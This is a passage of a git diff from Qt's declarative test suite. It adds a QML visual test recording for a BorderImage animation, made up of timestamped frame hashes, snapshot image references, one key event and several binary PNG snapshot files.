"deed4c06c9b713834490832b88e7acaf" + } + Frame { + msec: 6528 + hash: "2fede2f5d871654f3f8a6e9d890adeac" + } + Frame { + msec: 6544 + hash: "29ddde3300d0520a4c01b5536d8b9e7a" + } + Frame { + msec: 6560 + hash: "c61d2aa7f934fb5a9f9f7883e063b51c" + } + Frame { + msec: 6576 + hash: "ddf1f5c0b97fe4821719ec5bf4bd091b" + } + Frame { + msec: 6592 + hash: "e5df07ea21e8e415c3ec82560f2d0f34" + } + Frame { + msec: 6608 + hash: "5cc90d798786c270ddd2616512f4459f" + } + Frame { + msec: 6624 + hash: "00ab7798bcd77a99886dff0414f35382" + } + Frame { + msec: 6640 + hash: "05cbce0eaa80b4610a9067af8c40f819" + } + Frame { + msec: 6656 + hash: "a676f45d946aeb9fa577c0e862735b01" + } + Frame { + msec: 6672 + hash: "d65d50fbb920e683b041a1c72238225b" + } + Frame { + msec: 6688 + hash: "39c46d85d20f7ef3eca1d09c7eb6a068" + } + Frame { + msec: 6704 + hash: "39cc17ee2e889f17dd07179fda99e431" + } + Frame { + msec: 6720 + image: "animated-smooth.6.png" + } + Frame { + msec: 6736 + hash: "7c9a98e2101c33e17c1bd7e6c2d921ff" + } + Frame { + msec: 6752 + hash: "0640fcb0b24d3ba4ab8695f78271a438" + } + Frame { + msec: 6768 + hash: "2084ccc60ddd493399c128717816d33b" + } + Frame { + msec: 6784 + hash: "bd045f4532d78bba0ef1b64118fd9f24" + } + Frame { + msec: 6800 + hash: "42be5d26afb9f066dd27cc9fbaf6ce20" + } + Frame { + msec: 6816 + hash: "2a1fcfb753ca237b518da26e67c928e5" + } + Frame { + msec: 6832 + hash: "92176cce4836dcae4dfca94e49b041a8" + } + Frame { + msec: 6848 + hash: "d6615fc345831a3cc5b9a7196284b632" + } + Frame { + msec: 6864 + hash: "85ef33fcb3f91e4fc20391bf94455984" + } + Frame { + msec: 6880 + hash: "23291a0239c69ea07db959e709b1ff5f" + } + Frame { + msec: 6896 + hash: "53f05993ba3b426949badd2e4cd66d84" + } + Frame { + msec: 6912 + hash: "b375e723b2396b13b8f55cfc0c81c3c3" + } + Frame { + msec: 6928 + hash: "bd70500fbdfe5aa2fe4362a97a1dee2d" + } + Frame { + msec: 6944 + hash: "853429387cc639496c7338244de7e1b7" + } + Frame { + msec: 6960 + hash: "3df54504f8891306fa8f1e9e2075a5e2" + } + Frame { + msec: 6976 + hash: "0239d697642ca1d1b1d1daa3ea048e1e" + } + Frame { + msec: 6992 + hash: "b0070117f1c24a4da87434725d4bb989" + } + Frame { + msec: 7008 + hash: "8b8120cfc14de03e048632fdea61be21" + } + Frame { + msec: 7024 + hash: "845170815a87565dc4229792032b3357" + } + Frame { + msec: 7040 + hash: "0d407ee07692d0e5a480a60952807b3c" + } + Frame { + msec: 7056 + hash: "64b21b89576fdd0083f60a26f57b9c11" + } + Frame { + msec: 7072 + hash: "d7e96278583f83ab636ed68fa130e4d2" + } + Frame { + msec: 7088 + hash: "48db9a5e6aad9a9563a3cd35fb7fa9b6" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 7104 + hash: "adc670a9aa0326744cb23e4f5912e6c7" + } + Frame { + msec: 7120 + hash: "9cd29b4b023a8b92573575fb3c3dda83" + } + Frame { + msec: 7136 + hash: "177666cb3bb784c83196886b2c6cf6b6" + } + Frame { + msec: 7152 + hash: "ddd8a006ef048c8d929144aa9fcd7c5a" + } + Frame { + msec: 7168 + hash: "b699285764f5e8866a9996f4a0dccc69" + } + Frame { + msec: 7184 + hash: "84ef6dda8318b623832f58c46d762e89" + } + Frame { + msec: 7200 + hash: "a15f19f374bbfb6a922b69d080a91eaa" + } + Frame { + msec: 7216 + hash: "ae12f1f37a746e16b06e6b869c89fac1" + } + Frame { + msec: 7232 + hash: "5d3e85acabe5e5ff802eb7731676274f" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.0.png new file mode 100644 index 0000000..99228f9 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.1.png new file mode 100644 index 0000000..a2dcd00 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.2.png new file mode 100644 index 0000000..8a80020 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.3.png new file mode 100644 index 0000000..02b57ef Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.4.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.4.png new file mode 100644 index 0000000..df0f6cc Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.5.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.5.png new file mode 100644 index 0000000..0add64d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.6.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.6.png new file mode 100644 index 0000000..0886207 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.7.png b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.7.png new file mode 100644 index 0000000..bc1a7b0 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.7.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.qml b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.qml new file mode 100644 index 0000000..29e591a --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeborderimage/data/animated.qml @@ -0,0 +1,2091 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 32 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 48 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 64 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 80 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 96 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 112 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 128 + hash: "4c60d345821f515c7811f3b69eb94607" + } + Frame { + msec: 144 + hash: "aacf9ae3c23d174a1c1cda493600e355" + } + Frame { + msec: 160 + hash: "228d5312c261d1a5455faf69ec2f2520" + } + Frame { + msec: 176 + hash: "465ec993948f7b75aeb5759976f4620d" + } + Frame { + msec: 192 + hash: "755cfccc38bababc468fe6e1076804bb" + } + Frame { + msec: 208 + hash: "b63e4d1686057828fd8781f1c33585f5" + } + Frame { + msec: 224 + hash: "c5b3dede34b0d1d78135e39c41d117c6" + } + Frame { + msec: 240 + hash: "4d45d70f997c2c67166905c97a900d2e" + } + Frame { + msec: 256 + hash: "7b4d12e5a877507e7454aa1b8ed87c2d" + } + Frame { + msec: 272 + hash: "08b9be66e23c7b6f6f629c7470394601" + } + Frame { + msec: 288 + hash: "3dac1d9632378bd18c1c938a4868e3fb" + } + Frame { + msec: 304 + hash: "406224b535b4425d2708df0083acdc8e" + } + Frame { + msec: 320 + hash: "482bb92d4f0ad5d7c7e379b9e1ad326e" + } + Frame { + msec: 336 + hash: "8419f1d75b14130730bcfec4e3a9b058" + } + Frame { + msec: 352 + hash: "a85ee8be6a47bbd1b14137803ce606ec" + } + Frame { + msec: 368 + hash: "c1936628aec13e08e9581dcd2c6d5717" + } + Frame { + msec: 384 + hash: "75c9bf83ca3fe24612c245698c089430" + } + Frame { + msec: 400 + hash: "8c66a33d26eec2a1133f4362710a5fab" + } + Frame { + msec: 416 + hash: "2266df495ab5265e7514a506d3bf5bc6" + } + Frame { + msec: 432 + hash: "01947e631c3db43f7c5b4427229bc0c8" + } + Frame { + msec: 448 + hash: "3f62f032239d412d3637198f5e3e83d6" + } + Frame { + msec: 464 + hash: "06d8d8a1a41893d4e27725948a75caf4" + } + Frame { + msec: 480 + hash: "6b48bfd0c7993f746d6301c2a0f61d23" + } + Frame { + msec: 496 + hash: "ac8f096e8c7cc23bfb01de69cf3e266e" + } + Frame { + msec: 512 + hash: "dd4c9e63001bc6e0e63ea4db2d85301f" + } + Frame { + msec: 528 + hash: "2a7bed775824968e318c3d40fbc5b1c2" + } + Frame { + msec: 544 + hash: "3152e5f29015ece423fbdd11a2b382b8" + } + Frame { + msec: 560 + hash: "f1a7a4a67a21f5025294af4bea3f8998" + } + Frame { + msec: 576 + hash: "a40014d842471784e1222eb205395f6f" + } + Frame { + msec: 592 + hash: "18c2f321a149e38b258ac264d40c2376" + } + Frame { + msec: 608 + hash: "4ae120bb6dc2bd5ff81cc99ae03c191e" + } + Frame { + msec: 624 + hash: "19d05a96f3ae7388e854bbf1075b51c1" + } + Frame { + msec: 640 + hash: "e418b5f54705515dce5ce3b4cbc45d19" + } + Frame { + msec: 656 + hash: "554e1d360463871e7c05cfe6f8abe1dd" + } + Frame { + msec: 672 + hash: "153237f8cf37e29ad2f32f7a8a6aecdb" + } + Frame { + msec: 688 + hash: "60f158382f75103c78e2b9b408e0fe65" + } + Frame { + msec: 704 + hash: "4e60300cfab8634e04dcd1b556251d31" + } + Frame { + msec: 720 + hash: "6a521f952e05d91b86ad78fd6f5de4f9" + } + Frame { + msec: 736 + hash: "b74521d6ac531414aeeca0fb28379d11" + } + Frame { + msec: 752 + hash: "a6f17da2dd581bdc249ff62f833dc025" + } + Frame { + msec: 768 + hash: "93d9f0a7c387cbe653a9a088f8f4ef2b" + } + Frame { + msec: 784 + hash: "1ea07ee309ce2c52cbc36370b75a872f" + } + Frame { + msec: 800 + hash: "593a8a45c3a0cd7ce1cb6bd1913136ba" + } + Frame { + msec: 816 + hash: "c7eb7837dce71c914186326216214eeb" + } + Frame { + msec: 832 + hash: "0cba07ca38c7f0483244832a42d9ac53" + } + Frame { + msec: 848 + hash: "93cf31eabb454ec536c638a506be0648" + } + Frame { + msec: 864 + hash: "e8a61d3858244127cb2b2812f04f5ce9" + } + Frame { + msec: 880 + hash: "1ac8c393f084aa1894c26610b7f40ea6" + } + Frame { + msec: 896 + hash: "8861bf848da5c96b35addff736b01520" + } + Frame { + msec: 912 + hash: "f04e84ad3579d6334077abe73101d206" + } + Frame { + msec: 928 + hash: "eac4600372f0fdfadee88896ac915a48" + } + Frame { + msec: 944 + hash: "ff0928dfd16b2da9811a172c19817a97" + } + Frame { + msec: 960 + image: "animated.0.png" + } + Frame { + msec: 976 + hash: "7383209c80b403b93da3264eadbc047f" + } + Frame { + msec: 992 + hash: "86360bd58bba5fdd901c105ddb2e3ade" + } + Frame { + msec: 1008 + hash: "bc747167dfb3388ac63e9e68a86b9a03" + } + Frame { + msec: 1024 + hash: "bccb4b8a494bd45bd70c2524a02a9dc3" + } + Frame { + msec: 1040 + hash: "ae48da4a66f93c806725ce749700aac8" + } + Frame { + msec: 1056 + hash: "c763f56728e17fc119539a4d45dfccc3" + } + Frame { + msec: 1072 + hash: "956429472da133324c970774f77784f5" + } + Frame { + msec: 1088 + hash: "a4ddb4956d71fd642d54757938100cf3" + } + Frame { + msec: 1104 + hash: "ec0aea8dc8c269d1f0aee5817347ac55" + } + Frame { + msec: 1120 + hash: "68dae343cf324391ec6721cea14575f7" + } + Frame { + msec: 1136 + hash: "81d2fc6727dc7449d1a87b4abea9b704" + } + Frame { + msec: 1152 + hash: "c3a1f12febc979150028737722d6d045" + } + Frame { + msec: 1168 + hash: "80ebac4d923f67fb8dba3d133ce657ba" + } + Frame { + msec: 1184 + hash: "7c22fc3e30377cc14326833bdd23ddd8" + } + Frame { + msec: 1200 + hash: "5359f5e45e5467c62c2d9521c8199c48" + } + Frame { + msec: 1216 + hash: "30f84a7f67b13a945ba6d5935ea92da5" + } + Frame { + msec: 1232 + hash: "08f55088cdce741c67539f73291e53ab" + } + Frame { + msec: 1248 + hash: "93128906d054e44bfd126fc22bdc3102" + } + Frame { + msec: 1264 + hash: "97f7a2175dcf9ac2581a92d614d72f88" + } + Frame { + msec: 1280 + hash: "587cb6e05048579088e88e0180e3ad48" + } + Frame { + msec: 1296 + hash: "985868869ef2c332da379460a2f3a71b" + } + Frame { + msec: 1312 + hash: "94084ca4998fcda408f6987f52c34185" + } + Frame { + msec: 1328 + hash: "e91bb914c1eb63cd4269b30a220a128a" + } + Frame { + msec: 1344 + hash: "e880d93963c80e4fab5173554c9600fc" + } + Frame { + msec: 1360 + hash: "84c94704c16e246df1048f958cc8cefb" + } + Frame { + msec: 1376 + hash: "4f1eace868a6688e5b24ce48a1f0fd18" + } + Frame { + msec: 1392 + hash: "99de44f74f8e1f79652ab46afb4bb59e" + } + Frame { + msec: 1408 + hash: "44072400ca3f0237d1aebae28a94becc" + } + Frame { + msec: 1424 + hash: "a1bd4e995365e79389dba80f9e3b7af8" + } + Frame { + msec: 1440 + hash: "95d776c84fe155617fc4ee51bdb45b7e" + } + Frame { + msec: 1456 + hash: "3b95eb8cbfc831e1ebee2e456b026ab4" + } + Frame { + msec: 1472 + hash: "826c7741ba0c51de407bb799e8f360b5" + } + Frame { + msec: 1488 + hash: "11673a112566a64aca3c7010b9cc9c4d" + } + Frame { + msec: 1504 + hash: "e1e6c7a7f51bcccd749710dbbf9e97f6" + } + Frame { + msec: 1520 + hash: "5b027815ea3c1ea54e1a02c798c468db" + } + Frame { + msec: 1536 + hash: "65c514c9e926affe1da0b4826d2754c7" + } + Frame { + msec: 1552 + hash: "73c5f23f51797a33f4d2898738e6356e" + } + Frame { + msec: 1568 + hash: "acd9a2e76b22ab0ff809fd3ec3a018ec" + } + Frame { + msec: 1584 + hash: "fb17df681d99d5de05f6329bba697ea5" + } + Frame { + msec: 1600 + hash: "1bf7a98884b506b38326f59f85a53f41" + } + Frame { + msec: 1616 + hash: "0b1a741975e3d9ef8f5e78f371c89441" + } + Frame { + msec: 1632 + hash: "a6937ee49648ed0cb409063bf1da3b87" + } + Frame { + msec: 1648 + hash: "a790f0e884ab85f7802dd094e4ef550f" + } + Frame { + msec: 1664 + hash: "3b644aac161f0a75bfb64f5075373190" + } + Frame { + msec: 1680 + hash: "b12faa76c07adc21634cd8f8cb8436ae" + } + Frame { + msec: 1696 + hash: "3fb20f9dbd40b4729235e13af9643afc" + } + Frame { + msec: 1712 + hash: "f57727419bb51fb1e589b960ddeb20ae" + } + Frame { + msec: 1728 + hash: "7b78cba247f2c209ed81e003ca25d0a5" + } + Frame { + msec: 1744 + hash: "8172e076b05d95248d89e815fde820ef" + } + Frame { + msec: 1760 + hash: "a88d6fc324ef48aa52c642a1662ec679" + } + Frame { + msec: 1776 + hash: "74c1e71378b502bc1b732a55806a10f1" + } + Frame { + msec: 1792 + hash: "6eae517ad33f0609c31ef1f8f80ba899" + } + Frame { + msec: 1808 + hash: "a67e9a0f55512fb1c55f13c6b483923b" + } + Frame { + msec: 1824 + hash: "4887cd34d9926a361f3ca2e75be53ea6" + } + Frame { + msec: 1840 + hash: "13ca95adab171d9fad9ee8b75d0226bc" + } + Frame { + msec: 1856 + hash: "affab9fb48c889a2680eb81458d400f9" + } + Frame { + msec: 1872 + hash: "7aa0cbf73f7999be7cde4ec739efbc33" + } + Frame { + msec: 1888 + hash: "36c054064c9a76f4072492e55c70fb6c" + } + Frame { + msec: 1904 + hash: "d1ed4916cb1ecff60277d74369ff311b" + } + Frame { + msec: 1920 + image: "animated.1.png" + } + Frame { + msec: 1936 + hash: "29245946cbd811fe6bf6b2b41cc13002" + } + Frame { + msec: 1952 + hash: "8a9dd7a2d10771633e6896f3f4a722ae" + } + Frame { + msec: 1968 + hash: "058c918e83bfdd665cd836566b53959b" + } + Frame { + msec: 1984 + hash: "fdf3b7a0391119e2fe77be8d6a17481d" + } + Frame { + msec: 2000 + hash: "ed5d80c33dbf72624385b1cf43784626" + } + Frame { + msec: 2016 + hash: "911591db1519ba264847f09868e38e0e" + } + Frame { + msec: 2032 + hash: "ed5d80c33dbf72624385b1cf43784626" + } + Frame { + msec: 2048 + hash: "fdf3b7a0391119e2fe77be8d6a17481d" + } + Frame { + msec: 2064 + hash: "058c918e83bfdd665cd836566b53959b" + } + Frame { + msec: 2080 + hash: "8a9dd7a2d10771633e6896f3f4a722ae" + } + Frame { + msec: 2096 + hash: "29245946cbd811fe6bf6b2b41cc13002" + } + Frame { + msec: 2112 + hash: "63ebaa4869728f5e2891d068e4b0091c" + } + Frame { + msec: 2128 + hash: "d1ed4916cb1ecff60277d74369ff311b" + } + Frame { + msec: 2144 + hash: "36c054064c9a76f4072492e55c70fb6c" + } + Frame { + msec: 2160 + hash: "7aa0cbf73f7999be7cde4ec739efbc33" + } + Frame { + msec: 2176 + hash: "affab9fb48c889a2680eb81458d400f9" + } + Frame { + msec: 2192 + hash: "13ca95adab171d9fad9ee8b75d0226bc" + } + Frame { + msec: 2208 + hash: "4887cd34d9926a361f3ca2e75be53ea6" + } + Frame { + msec: 2224 + hash: "a67e9a0f55512fb1c55f13c6b483923b" + } + Frame { + msec: 2240 + hash: "6eae517ad33f0609c31ef1f8f80ba899" + } + Frame { + msec: 2256 + hash: "74c1e71378b502bc1b732a55806a10f1" + } + Frame { + msec: 2272 + hash: "a88d6fc324ef48aa52c642a1662ec679" + } + Frame { + msec: 2288 + hash: "8172e076b05d95248d89e815fde820ef" + } + Frame { + msec: 2304 + hash: "7b78cba247f2c209ed81e003ca25d0a5" + } + Frame { + msec: 2320 + hash: "f57727419bb51fb1e589b960ddeb20ae" + } + Frame { + msec: 2336 + hash: "3fb20f9dbd40b4729235e13af9643afc" + } + Frame { + msec: 2352 + hash: "b12faa76c07adc21634cd8f8cb8436ae" + } + Frame { + msec: 2368 + hash: "3b644aac161f0a75bfb64f5075373190" + } + Frame { + msec: 2384 + hash: "a790f0e884ab85f7802dd094e4ef550f" + } + Frame { + msec: 2400 + hash: "a6937ee49648ed0cb409063bf1da3b87" + } + Frame { + msec: 2416 + hash: "0b1a741975e3d9ef8f5e78f371c89441" + } + Frame { + msec: 2432 + hash: "1bf7a98884b506b38326f59f85a53f41" + } + Frame { + msec: 2448 + hash: "fb17df681d99d5de05f6329bba697ea5" + } + Frame { + msec: 2464 + hash: "acd9a2e76b22ab0ff809fd3ec3a018ec" + } + Frame { + msec: 2480 + hash: "73c5f23f51797a33f4d2898738e6356e" + } + Frame { + msec: 2496 + hash: "65c514c9e926affe1da0b4826d2754c7" + } + Frame { + msec: 2512 + hash: "5b027815ea3c1ea54e1a02c798c468db" + } + Frame { + msec: 2528 + hash: "e1e6c7a7f51bcccd749710dbbf9e97f6" + } + Frame { + msec: 2544 + hash: "11673a112566a64aca3c7010b9cc9c4d" + } + Frame { + msec: 2560 + hash: "826c7741ba0c51de407bb799e8f360b5" + } + Frame { + msec: 2576 + hash: "3b95eb8cbfc831e1ebee2e456b026ab4" + } + Frame { + msec: 2592 + hash: "95d776c84fe155617fc4ee51bdb45b7e" + } + Frame { + msec: 2608 + hash: "a1bd4e995365e79389dba80f9e3b7af8" + } + Frame { + msec: 2624 + hash: "44072400ca3f0237d1aebae28a94becc" + } + Frame { + msec: 2640 + hash: "99de44f74f8e1f79652ab46afb4bb59e" + } + Frame { + msec: 2656 + hash: "4f1eace868a6688e5b24ce48a1f0fd18" + } + Frame { + msec: 2672 + hash: "84c94704c16e246df1048f958cc8cefb" + } + Frame { + msec: 2688 + hash: "e880d93963c80e4fab5173554c9600fc" + } + Frame { + msec: 2704 + hash: "e91bb914c1eb63cd4269b30a220a128a" + } + Frame { + msec: 2720 + hash: "94084ca4998fcda408f6987f52c34185" + } + Frame { + msec: 2736 + hash: "985868869ef2c332da379460a2f3a71b" + } + Frame { + msec: 2752 + hash: "587cb6e05048579088e88e0180e3ad48" + } + Frame { + msec: 2768 + hash: "97f7a2175dcf9ac2581a92d614d72f88" + } + Frame { + msec: 2784 + hash: "93128906d054e44bfd126fc22bdc3102" + } + Frame { + msec: 2800 + hash: "08f55088cdce741c67539f73291e53ab" + } + Frame { + msec: 2816 + hash: "30f84a7f67b13a945ba6d5935ea92da5" + } + Frame { + msec: 2832 + hash: "5359f5e45e5467c62c2d9521c8199c48" + } + Frame { + msec: 2848 + hash: "7c22fc3e30377cc14326833bdd23ddd8" + } + Frame { + msec: 2864 + hash: "80ebac4d923f67fb8dba3d133ce657ba" + } + Frame { + msec: 2880 + image: "animated.2.png" + } + Frame { + msec: 2896 + hash: "81d2fc6727dc7449d1a87b4abea9b704" + } + Frame { + msec: 2912 + hash: "68dae343cf324391ec6721cea14575f7" + } + Frame { + msec: 2928 + hash: "ec0aea8dc8c269d1f0aee5817347ac55" + } + Frame { + msec: 2944 + hash: "a4ddb4956d71fd642d54757938100cf3" + } + Frame { + msec: 2960 + hash: "956429472da133324c970774f77784f5" + } + Frame { + msec: 2976 + hash: "c763f56728e17fc119539a4d45dfccc3" + } + Frame { + msec: 2992 + hash: "ae48da4a66f93c806725ce749700aac8" + } + Frame { + msec: 3008 + hash: "bccb4b8a494bd45bd70c2524a02a9dc3" + } + Frame { + msec: 3024 + hash: "bc747167dfb3388ac63e9e68a86b9a03" + } + Frame { + msec: 3040 + hash: "86360bd58bba5fdd901c105ddb2e3ade" + } + Frame { + msec: 3056 + hash: "7383209c80b403b93da3264eadbc047f" + } + Frame { + msec: 3072 + hash: "280288a7988736e30a2a3e4289ac3b0c" + } + Frame { + msec: 3088 + hash: "ff0928dfd16b2da9811a172c19817a97" + } + Frame { + msec: 3104 + hash: "eac4600372f0fdfadee88896ac915a48" + } + Frame { + msec: 3120 + hash: "f04e84ad3579d6334077abe73101d206" + } + Frame { + msec: 3136 + hash: "8861bf848da5c96b35addff736b01520" + } + Frame { + msec: 3152 + hash: "1ac8c393f084aa1894c26610b7f40ea6" + } + Frame { + msec: 3168 + hash: "e8a61d3858244127cb2b2812f04f5ce9" + } + Frame { + msec: 3184 + hash: "93cf31eabb454ec536c638a506be0648" + } + Frame { + msec: 3200 + hash: "0cba07ca38c7f0483244832a42d9ac53" + } + Frame { + msec: 3216 + hash: "c7eb7837dce71c914186326216214eeb" + } + Frame { + msec: 3232 + hash: "593a8a45c3a0cd7ce1cb6bd1913136ba" + } + Frame { + msec: 3248 + hash: "1ea07ee309ce2c52cbc36370b75a872f" + } + Frame { + msec: 3264 + hash: "93d9f0a7c387cbe653a9a088f8f4ef2b" + } + Frame { + msec: 3280 + hash: "a6f17da2dd581bdc249ff62f833dc025" + } + Frame { + msec: 3296 + hash: "b74521d6ac531414aeeca0fb28379d11" + } + Frame { + msec: 3312 + hash: "6a521f952e05d91b86ad78fd6f5de4f9" + } + Frame { + msec: 3328 + hash: "4e60300cfab8634e04dcd1b556251d31" + } + Frame { + msec: 3344 + hash: "60f158382f75103c78e2b9b408e0fe65" + } + Frame { + msec: 3360 + hash: "153237f8cf37e29ad2f32f7a8a6aecdb" + } + Frame { + msec: 3376 + hash: "554e1d360463871e7c05cfe6f8abe1dd" + } + Frame { + msec: 3392 + hash: "e418b5f54705515dce5ce3b4cbc45d19" + } + Frame { + msec: 3408 + hash: "19d05a96f3ae7388e854bbf1075b51c1" + } + Frame { + msec: 3424 + hash: "4ae120bb6dc2bd5ff81cc99ae03c191e" + } + Frame { + msec: 3440 + hash: "18c2f321a149e38b258ac264d40c2376" + } + Frame { + msec: 3456 + hash: "a40014d842471784e1222eb205395f6f" + } + Frame { + msec: 3472 + hash: "f1a7a4a67a21f5025294af4bea3f8998" + } + Frame { + msec: 3488 + hash: "3152e5f29015ece423fbdd11a2b382b8" + } + Frame { + msec: 3504 + hash: "2a7bed775824968e318c3d40fbc5b1c2" + } + Frame { + msec: 3520 + hash: "dd4c9e63001bc6e0e63ea4db2d85301f" + } + Frame { + msec: 3536 + hash: "ac8f096e8c7cc23bfb01de69cf3e266e" + } + Frame { + msec: 3552 + hash: "6b48bfd0c7993f746d6301c2a0f61d23" + } + Frame { + msec: 3568 + hash: "06d8d8a1a41893d4e27725948a75caf4" + } + Frame { + msec: 3584 + hash: "3f62f032239d412d3637198f5e3e83d6" + } + Frame { + msec: 3600 + hash: "01947e631c3db43f7c5b4427229bc0c8" + } + Frame { + msec: 3616 + hash: "2266df495ab5265e7514a506d3bf5bc6" + } + Frame { + msec: 3632 + hash: "8c66a33d26eec2a1133f4362710a5fab" + } + Frame { + msec: 3648 + hash: "75c9bf83ca3fe24612c245698c089430" + } + Frame { + msec: 3664 + hash: "c1936628aec13e08e9581dcd2c6d5717" + } + Frame { + msec: 3680 + hash: "a85ee8be6a47bbd1b14137803ce606ec" + } + Frame { + msec: 3696 + hash: "8419f1d75b14130730bcfec4e3a9b058" + } + Frame { + msec: 3712 + hash: "482bb92d4f0ad5d7c7e379b9e1ad326e" + } + Frame { + msec: 3728 + hash: "406224b535b4425d2708df0083acdc8e" + } + Frame { + msec: 3744 + hash: "3dac1d9632378bd18c1c938a4868e3fb" + } + Frame { + msec: 3760 + hash: "08b9be66e23c7b6f6f629c7470394601" + } + Frame { + msec: 3776 + hash: "7b4d12e5a877507e7454aa1b8ed87c2d" + } + Frame { + msec: 3792 + hash: "4d45d70f997c2c67166905c97a900d2e" + } + Frame { + msec: 3808 + hash: "c5b3dede34b0d1d78135e39c41d117c6" + } + Frame { + msec: 3824 + hash: "b63e4d1686057828fd8781f1c33585f5" + } + Frame { + msec: 3840 + image: "animated.3.png" + } + Frame { + msec: 3856 + hash: "465ec993948f7b75aeb5759976f4620d" + } + Frame { + msec: 3872 + hash: "228d5312c261d1a5455faf69ec2f2520" + } + Frame { + msec: 3888 + hash: "aacf9ae3c23d174a1c1cda493600e355" + } + Frame { + msec: 3904 + hash: "4c60d345821f515c7811f3b69eb94607" + } + Frame { + msec: 3920 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 3936 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 3952 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 3968 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 3984 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 4000 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 4016 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 4032 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 4048 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 4064 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 4080 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 4096 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 4112 + hash: "aec13bcab337e55832b0a02fb5c6b526" + } + Frame { + msec: 4128 + hash: "4c60d345821f515c7811f3b69eb94607" + } + Frame { + msec: 4144 + hash: "aacf9ae3c23d174a1c1cda493600e355" + } + Frame { + msec: 4160 + hash: "228d5312c261d1a5455faf69ec2f2520" + } + Frame { + msec: 4176 + hash: "465ec993948f7b75aeb5759976f4620d" + } + Frame { + msec: 4192 + hash: "755cfccc38bababc468fe6e1076804bb" + } + Frame { + msec: 4208 + hash: "b63e4d1686057828fd8781f1c33585f5" + } + Frame { + msec: 4224 + hash: "c5b3dede34b0d1d78135e39c41d117c6" + } + Frame { + msec: 4240 + hash: "4d45d70f997c2c67166905c97a900d2e" + } + Frame { + msec: 4256 + hash: "7b4d12e5a877507e7454aa1b8ed87c2d" + } + Frame { + msec: 4272 + hash: "08b9be66e23c7b6f6f629c7470394601" + } + Frame { + msec: 4288 + hash: "3dac1d9632378bd18c1c938a4868e3fb" + } + Frame { + msec: 4304 + hash: "406224b535b4425d2708df0083acdc8e" + } + Frame { + msec: 4320 + hash: "482bb92d4f0ad5d7c7e379b9e1ad326e" + } + Frame { + msec: 4336 + hash: "8419f1d75b14130730bcfec4e3a9b058" + } + Frame { + msec: 4352 + hash: "a85ee8be6a47bbd1b14137803ce606ec" + } + Frame { + msec: 4368 + hash: "c1936628aec13e08e9581dcd2c6d5717" + } + Frame { + msec: 4384 + hash: "75c9bf83ca3fe24612c245698c089430" + } + Frame { + msec: 4400 + hash: "8c66a33d26eec2a1133f4362710a5fab" + } + Frame { + msec: 4416 + hash: "2266df495ab5265e7514a506d3bf5bc6" + } + Frame { + msec: 4432 + hash: "01947e631c3db43f7c5b4427229bc0c8" + } + Frame { + msec: 4448 + hash: "3f62f032239d412d3637198f5e3e83d6" + } + Frame { + msec: 4464 + hash: "06d8d8a1a41893d4e27725948a75caf4" + } + Frame { + msec: 4480 + hash: "6b48bfd0c7993f746d6301c2a0f61d23" + } + Frame { + msec: 4496 